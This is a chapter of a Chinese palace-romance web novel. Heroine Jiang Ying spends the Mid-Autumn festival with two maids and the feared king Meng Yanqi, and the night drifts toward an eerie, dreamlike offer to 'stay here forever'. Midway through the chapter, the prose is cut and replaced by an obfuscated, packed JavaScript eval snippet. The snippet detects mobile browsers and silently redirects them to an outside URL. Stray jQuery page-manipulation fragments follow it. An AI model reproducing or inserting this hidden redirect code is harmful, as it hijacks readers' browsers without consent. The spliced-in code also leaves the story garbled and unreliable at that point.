是夜,中秋月圆。
“姑姑!”
“这个小兔子面具好看吗?嘿嘿。”
姜萤眼前突然跳出一个毛茸茸的兔子面具,她不由得一愣,才发现自己站在热闹的街道上。
人潮熙攘,银藕举着面具,在她面前雀跃着。
“好看。”姜萤笑了笑,自然而然地掏出荷包,把银两递给卖面具的小贩。
“呀!我不用姑姑买。”银藕嘟起了嘴,“我自己有月钱。”
“小朋友的月钱就留着买零食吧。”
姜萤刮了刮银藕的鼻子,取下另一个兔子面具,递给不说话的金茄,“你喜欢兔子吗,还是要别的?”
“奴婢都行。”金茄抿了抿嘴,接下兔子面具,低低道:“谢谢姑姑。”
“姑姑……”
捏着兔子面具,金茄像是终于鼓起勇气,想说些什么,“你……你没事了吗?”
“我没事啊。”姜萤埋首在小摊里,侧头问道,“怎么了?”
“没什么。”金茄摇摇头,什么也没说。
但她把兔子面具像宝贝一样往怀里揣了揣,目光闪烁。
“你呀。”
姜萤以为金茄不喜欢兔子面具,却又不好意开口,忍不住揉了揉金茄的小脑瓜,“喜欢什么就要说,知道吗?如果什么也不说,就错过啦。”
她的家长姿态十足,小茄子和藕也就十三四岁,比她小了快十岁,自然都是小朋友。
姜萤顺着街边一家小店一家店地逛过去。
灯火璀璨,路边张灯结彩地迎接着月圆时刻,美得像一场梦。
她在这家店买两个发簪插银藕脑袋上,那家店买个项链戴在金茄的脖子上。
惹得两个小孩儿高兴得眉开眼笑。
她好像好久都没有这么开心,又这么放松了。
那是一种沉痛和疲惫一扫而空的感觉,纵使她有些想不起来前段时间是什么事让她那么累。
唉,果然官不是好当的。
估计是她这个掖庭宫令要管的事太多,累到了。
姜萤摇摇头,为自己的劳碌命感到惋惜。
她在做荷包的摊子上挑挑拣拣,想买个特别一点又不那么贵的荷包送孟延祈。
过节了,哪怕顶头上司不需要,她也得表示自己的心意,这是为奴为婢的基本素养。
宫中生存如同宦海沉浮,一个不留意,就会失了搏得圣心的机会呐——
姜萤左看右看,挑中一个黑底红边的香囊。香囊上绣着卷云勾连雷纹,很是古朴大气。
“老板,这个多少钱?”
“哎呦,姑娘好眼光,这个香囊最是适合送心上人了。它是丝绸刺绣,镶了金箔和绿松石,下面挂的坠子也是上好的翡翠嘞,今天过节,只要10贯。”
老板笑口一开,眼角眉梢都是钱的味道。
“10贯?”
姜萤咂舌,她每月俸禄也不过3贯,哪买得起这么贵的香囊。
她悻悻地放下荷包,心里默念——
陛下,不是老奴不给你买,实在是你给的月钱太低了!
“我竟不知这云州城有如此贵重的针线,小小一个,抵得上寻常农户两年的吃穿用度。”
姜萤身后传来一声淡笑。
她回头一看——
果然不能蛐蛐人!
她前一刻还在哀怨孟延祈给的月奉太低,下一秒他人就出现了。
似乎是因为不想太过招摇,孟延祈没穿玄色龙纹服,只简单地穿了一身带着红边的黑色锦袍。
他好像心情很好,常年散下一半的头发被他高高束起,远远看上过去,仿佛某家意气风发的少年郎。
不像王,反倒像横枪跃马的将军。
“这……小人有眼不识泰山!”
“您若喜欢,尽管取走!小人分文不收。”
烛国以黑为尊,寻常王公贵族都不能穿这黑衣。
店老板一路看着姜萤三人到处溜达,看什么物件都新鲜得很,以为是哪家不常出门的贵眷,想敲上一笔。
哪曾想,惹上了不能惹的人。
“你这般见钱眼开,想必眼里满是财宝。”
“不如剜下来,让孤……我看看,是金子做的眼珠,还是翡翠。”
孟延祈把玩着香囊,语气轻描淡写。
酒窝在他脸颊绽开,显出几分凶顽妖异。
“……我突然有点饿唉,要不去吃东西吧。”
姜萤也不知道自己哪里来的狗胆,拽上孟延祈就往店外走。她怕再晚一步,店老板就要血溅当场。
孟延祈说剜那就是真的剜,可不会闹着玩。
而孟延祈果然是心情很好,任由她拽着,丢开香囊,没再试图用店老板的眼珠下酒,只道,“再有下次,立斩。”
“小人再也不敢了!”
店老板如蒙大赦,试图把香囊塞给金茄银藕,两个小姑娘轻哼着把脸撇朝一边,拒不收受贿赂。
姜萤像个没头苍蝇似地拖着孟延祈穿过人潮。
她觉得这一幕似曾相识,仿佛她曾经也这样没轻没重地拽过他。
指尖传来的温热触感,好熟悉。
“买的香囊哪有自己做的有心意?”
人群里,孟延祈的声音清晰地传到了她的耳朵里,“如果我是收礼的人,一定是希望收到对方亲手做的。”
“陛下高估奴婢了,奴不会做针线活。”姜萤脸皮很厚,哼哧哼哧地,很是理直气壮。
她明明该怕他的。
他是烛国最可怕的暴君,她却像是身体里多了个胆,不知道什么叫害怕。
“唉。”
孟延祈很不失望地叹气,仿佛早就料到了她的反应。他扬起下巴点了点前面热火朝天的小店,“你不是饿了吗?吃不吃炙肉。”
姜萤顺着孟延祈的目光看过去,一旁的烤肉摊上早就支起了青铜炙炉,炭火噼啪作响。
摊主把腌制好的肉用铁钎串起,油脂滴落在炭火上,浓烟里都带着焦香。
哇!好香。
姜萤眼放精光,猛猛点头:“吃!”
比起吃肉,金茄和银藕更想吃甜甜糯糯的蜜渍枣脯,于是等炙肉上桌的时候,两小孩儿跑去买蜜枣,撒欢得不见了人影。
只剩姜萤和孟延祈坐在四四方方的小木桌两边,脸对着脸。
姜萤把盘子里喷香冒油的炙肉往孟延祈面前推了推,谄媚笑了笑,“陛……陛下,你吃。”
好尴尬啊,和顶头上司挤在一个小桌上。
孟延祈应该从来没有在这样的小摊子上吃过东西吧?他和这个摊子完全格格不入到了极点。
姜萤对前一刻见肉眼开的自己感到懊恼。
早知道就不吃了!
“不必。”
孟延祈把炙肉推回给她,“孤不爱吃这个。”
那意思是……
他知道她爱吃?
“你吃吧,孤等你。”
似乎是感受到她的尴尬,孟延祈侧过身,把目光从她身上移开,望向街对面的河岸。
姜萤小小地舒了口气。
她把炙肉裹上盘子边炒香的芝麻,再沾上碾碎的酸梅酱——
好吃!
姜萤的眼睛亮了
她以为炙肉会是辣辣的,但是这肉是用盐、花椒和茱萸做的调料,辛香味很独特,更凸显肉质本味。
但她感觉好像少了点什么。
吃这样的肉,不得来点什么冰冰的,甜甜的,摇一摇会冒气泡的水吗?
“老板!”
姜萤抬手,她想喝的东西名字就在她嘴边,几乎是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16503791|178251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呼之欲出,但是她说不出来,“我想要……要……”
“店家,两碗冰镇浆水”。
见姜萤盯着老板卡壳,孟延祈不紧不慢地开口。
“好嘞,浆水来喽——”
老板麻利地掀开一个还凝结着细密水珠的陶瓮,舀上两碗带着清冽酸味的淡乳白色的水。
姜萤尝了尝。
它好像是用粟米或者麦麸发酵制成的酸味饮品,虽然和她想要的不太一样,但有像梅子一样的酸味,也还算好喝。
于是她挥开心底那种不知从哪里升起来的失落感,砸了砸嘴巴。
这样也很好了,她在心里道。
不知道是不是冰镇浆水太凉,姜萤有一种头重脚轻的眩晕感。
她忍不住托着腮,偷偷望向孟延祈。
小店不算明亮的灯光把他的脸庞更照得眉目高挺,俊气逼人。他眉目间分明纠缠着浓厚的肃杀血色,她却安心地像掉进米缸里的老鼠。
其实姜萤感觉到一些不对了。
这一路上,游人高织。父母牵着孩童,哥哥领着妹妹,可是她没有。
就她好像没有父母,也没有表亲。
她的心一边极度地空旷和陷落,一边又热切地高涨着。空旷和陷落来自于她想不起来的父母亲人,而热切的高涨,则是来自于孟延祈。
好像只要他这样坐在她身边,她能看见他,就已经很满足了。
她可以不想别的,不管过去和未来,只要他好好地存在着,就好了。
啧,怪不得宫斗第一条就是不要爱上皇帝。
这样软烂成一锅汤的心,还怎么手打前朝脚踹后宫,怎么当一人之下万人之上的赢家!
女人!你的弱点全都来自于懦弱的爱。
这是爱吗?
想到这里,姜萤愣了愣。
她不知道。
姜萤的晕乎持续了很久,离开了烤肉摊,她的手心一暖——
孟延祈牵住了她的手。
他在灿然的灯火之间微微笑着,朝她侧眸,“人太多了,走丢了可不好。”
“……唔。”
姜萤不知道说什么,却怂得不想放开。
她和孟延祈两个人此刻就像世界上任何一对普通伴侣那样,十指相扣着。
手心传来不属于她的体温,还有她不可抑制的心跳声。
姜萤感觉更晕了。
他们好像在逆着人潮行进,可能是市集的那头开始了杂耍表演,人们都一股脑地往他们身后涌过去了。
无数张喜笑颜开的脸涌到她的面前,像烟花一样璀璨。
走着走着,她们跨上了一座石桥。
桥上没有人,只剩她和孟延祈四目相对。
巨大的圆月从孟延祈身后升起,仿佛天地间只剩他和那轮圆月。
“萤萤,这节日你喜欢吗?”
孟延祈问她。
姜萤垂下眼眸,注视着桥下波光粼粼的江水。
“……喜欢。”
她轻声道。
她不是喜欢这个节日,是喜欢和他在一起。
“那往后每年孤都陪你来,可好?”
孟延祈又问道。
“……好。”
姜萤忍不住地答道。
她一瞬不瞬地望着水里巨大月亮的倒影,可水波浮动间,完整的圆月像被切开似地,空得突兀。
破碎得
“那你永远留在这里,好不好?”
孟延祈的声音再度传来,轻轻地,带着些难以言喻的蛊惑。
天地间,连风都像是停了。
姜萤想要回答,却觉得喉咙里塞了团棉花。
她不能回答。
好像一旦答应了,就和魔鬼签订了永生永世的契约,要陷入万劫不复的地狱深渊。